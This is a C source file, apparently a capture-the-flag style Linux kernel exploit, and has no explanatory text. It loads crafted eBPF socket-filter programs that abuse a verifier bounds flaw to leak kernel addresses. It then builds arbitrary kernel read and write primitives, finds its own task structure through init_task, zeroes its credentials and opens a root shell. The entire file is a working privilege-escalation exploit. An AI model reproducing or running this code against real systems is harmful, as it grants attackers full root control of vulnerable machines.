#define _GNU_SOURCE #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #include <sched.h> #include <sys/types.h> #include <linux/keyctl.h>
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
void get_root_shell(){ printf("now pid == %p\n", getpid()); system("/bin/sh"); }
void bindCore(int core) { cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); }
#include <linux/bpf.h> #include <stdint.h> #include <sys/socket.h> #include <sys/syscall.h> #include "bpf_insn.h"
static inline int bpf(int cmd, union bpf_attr *attr) { return syscall(__NR_bpf, cmd, attr, sizeof(*attr)); }
struct bpf_insn prog[] = { BPF_LD_MAP_FD(BPF_REG_1, 3), BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0), BPF_JMP_IMM(BPF_JLE, BPF_REG_6, 12, 2), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8), BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), BPF_JMP_IMM(BPF_JLE, BPF_REG_8, 4, 2), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 9), BPF_ALU64_IMM(0xe0, BPF_REG_6, 60), BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 60), BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 3),
BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_8), BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8), BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 4), BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 4), BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0xd0/4),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0), BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, 16), BPF_LD_MAP_FD(BPF_REG_1, 4), BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6), BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_8, 0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 24), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_9, 0), BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, 24),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x48), BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_8, 0), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_9, 32),
BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(),
};
struct bpf_insn aar_prog[] = { BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
BPF_LD_MAP_FD(BPF_REG_1, 3), BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0), BPF_JMP_IMM(BPF_JLE, BPF_REG_6, 12, 2), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8), BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), BPF_JMP_IMM(BPF_JLE, BPF_REG_8, 4, 2), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 9), BPF_ALU64_IMM(0xe0, BPF_REG_6, 60), BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 60), BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 3),
BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_8), BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8), BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 4), BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 4), BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x10/4),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, 16), BPF_MOV64_REG(BPF_REG_8, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, -8), BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, -8),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), BPF_MOV64_IMM(BPF_REG_2, 0), BPF_MOV64_REG(BPF_REG_3, BPF_REG_8), BPF_MOV64_IMM(BPF_REG_4, 8), BPF_ALU64_REG(BPF_ADD, BPF_REG_4, BPF_REG_6), BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 8), BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_8, 0), BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_1, 0), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_2, 0), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(),
};
struct bpf_insn aaw_prog[] = { BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
BPF_LD_MAP_FD(BPF_REG_1, 3), BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0), BPF_JMP_IMM(BPF_JLE, BPF_REG_6, 12, 2), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8), BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), BPF_JMP_IMM(BPF_JLE, BPF_REG_8, 4, 2), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 9), BPF_ALU64_IMM(0xe0, BPF_REG_6, 60), BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 60), BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 3),
BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_8), BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8), BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 4), BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 4), BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x10/4),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, 16), BPF_MOV64_REG(BPF_REG_8, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, -8), BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, -8),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), BPF_MOV64_IMM(BPF_REG_2, 0), BPF_MOV64_REG(BPF_REG_3, BPF_REG_8), BPF_MOV64_IMM(BPF_REG_4, 8), BPF_ALU64_REG(BPF_ADD, BPF_REG_4, BPF_REG_6), BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes),
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_8, 0), BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 8), BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_8, 0), BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_3, 0),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_3, 0), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(),
};
#define BPF_LOG_SZ 0x20000 char bpf_log_buf[BPF_LOG_SZ] = { '\0' };
int sockets[2]; int map_fd1; int map_fd2; int prog_fd; uint32_t key; uint64_t* value1; uint64_t* value2;
union bpf_attr attr = { .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, .insns = (uint64_t) &prog, .insn_cnt = sizeof(prog) / sizeof(prog[0]), .license = (uint64_t) "GPL", .log_level = 2, .log_buf = (uint64_t) bpf_log_buf, .log_size = BPF_LOG_SZ, };
static __always_inline int bpf_map_create(unsigned int map_type, unsigned int key_size, unsigned int value_size, unsigned int max_entries) { union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries, }; return bpf(BPF_MAP_CREATE, &attr); }
static __always_inline int bpf_map_get_elem(int map_fd, const void *key, void *value) { union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, .value = (uint64_t)value, };
return bpf(BPF_MAP_LOOKUP_ELEM, &attr); }
size_t ker_offset;
static __always_inline int bpf_map_update_elem(int map_fd, const void* key, const void* value, uint64_t flags) { union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, .value = (uint64_t)value, .flags = flags, }; return bpf(BPF_MAP_UPDATE_ELEM, &attr); }
int map_fd, expmap_fd;
int first_aar; size_t aar(size_t addr){ size_t key = 0; size_t value[0x1000];
if(first_aar) goto LABEL_AAR; first_aar = 1;
attr.insns = (uint64_t) &aar_prog; attr.insn_cnt = sizeof(aar_prog) / sizeof(aar_prog[0]), prog_fd = bpf(BPF_PROG_LOAD, &attr); if (prog_fd < 0) { puts(bpf_log_buf); perror("BPF_PROG_LOAD"); getchar(); }
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets) < 0) perror("socketpair()");
if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0) perror("socketpair SO_ATTACH_BPF"); LABEL_AAR: value[0] = 10; value[1] = 2; bpf_map_update_elem(map_fd, &key, value, BPF_ANY); size_t data[0x1000]; data[0] = 0LL; data[1] = addr; write(sockets[0], data, 0x100);
bpf_map_get_elem(map_fd, &key, value);
return value[0];
}
int first_aaw; void aaw(size_t addr, size_t val){ size_t key = 0; size_t value[0x1000];
if(first_aaw) goto LABEL_AAW; first_aaw = 1;
attr.insns = (uint64_t) &aaw_prog; attr.insn_cnt = sizeof(aaw_prog) / sizeof(aaw_prog[0]), prog_fd = bpf(BPF_PROG_LOAD, &attr); if (prog_fd < 0) { puts(bpf_log_buf); perror("BPF_PROG_LOAD"); getchar(); }
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets) < 0) perror("socketpair()");
if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0) perror("socketpair SO_ATTACH_BPF"); LABEL_AAW: value[0] = 10; value[1] = 2; bpf_map_update_elem(map_fd, &key, value, BPF_ANY); size_t data[0x1000]; data[0] = val; data[1] = addr; write(sockets[0], data, 0x100); bpf_map_get_elem(map_fd, &key, value); }
size_t init_task; size_t comm_off, cred_off, task_off; #include <sys/prctl.h> void aar_aaw(){ if(prctl(PR_SET_NAME, "QianYiming", NULL, NULL, NULL) < 0){ perror("prctl set name"); } size_t task = init_task+task_off; size_t my_task = -1; while(task){ task = aar(task); size_t name = aar(task-task_off+comm_off); if(!memcmp(&name, "QianYiming", 8)){ my_task = task-task_off; break; } } printf("my_task == %p\n", (void *)my_task); size_t my_cred = aar(my_task+cred_off); printf("my_cred == %p\n", (void *)my_cred); for(int i = 0; i <= 0x28; i += 8){ aaw(my_cred+i, 0LL); }
system("/bin/sh"); }
int main(){
save_status(); bindCore(0);
map_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1); if (map_fd < 0) perror("BPF_MAP_CREATE");
expmap_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1); if (expmap_fd < 0) perror("BPF_MAP_CREATE");
prog_fd = bpf(BPF_PROG_LOAD, &attr); if (prog_fd < 0) { puts(bpf_log_buf); perror("BPF_PROG_LOAD"); } printf("prog_fd == %d\n", prog_fd);
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets) < 0) perror("socketpair()");
if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0) perror("socketpair SO_ATTACH_BPF");
size_t key = 0; size_t value[0x1000]; value[0] = 10; value[1] = 2; bpf_map_update_elem(map_fd, &key, value, BPF_ANY); char s[0x1000]; write(sockets[0], s, 0x100);
value[2] = 0xffff; bpf_map_get_elem(map_fd, &key, value);
ker_offset = value[3] - 0xffffffff81a0dec0; printf("ker_offset == %p\n", (void *)ker_offset); size_t page_base_offset = value[4] & 0xfffffffff0000000; printf("page_base_offset == %p\n", (void *)page_base_offset); init_task = ker_offset + 0xFFFFFFFF81C114C0; size_t init_cred = ker_offset + 0xffffffff81c2e140; printf("init_task == %p\n", (void *)init_task);
comm_off = 0x508; task_off = 0x260; cred_off = 0x4f8;
aar(value[3]);
printf("%p\n", (void *)aar(page_base_offset));
aar_aaw(); puts("end"); getchar(); return 0;
}
|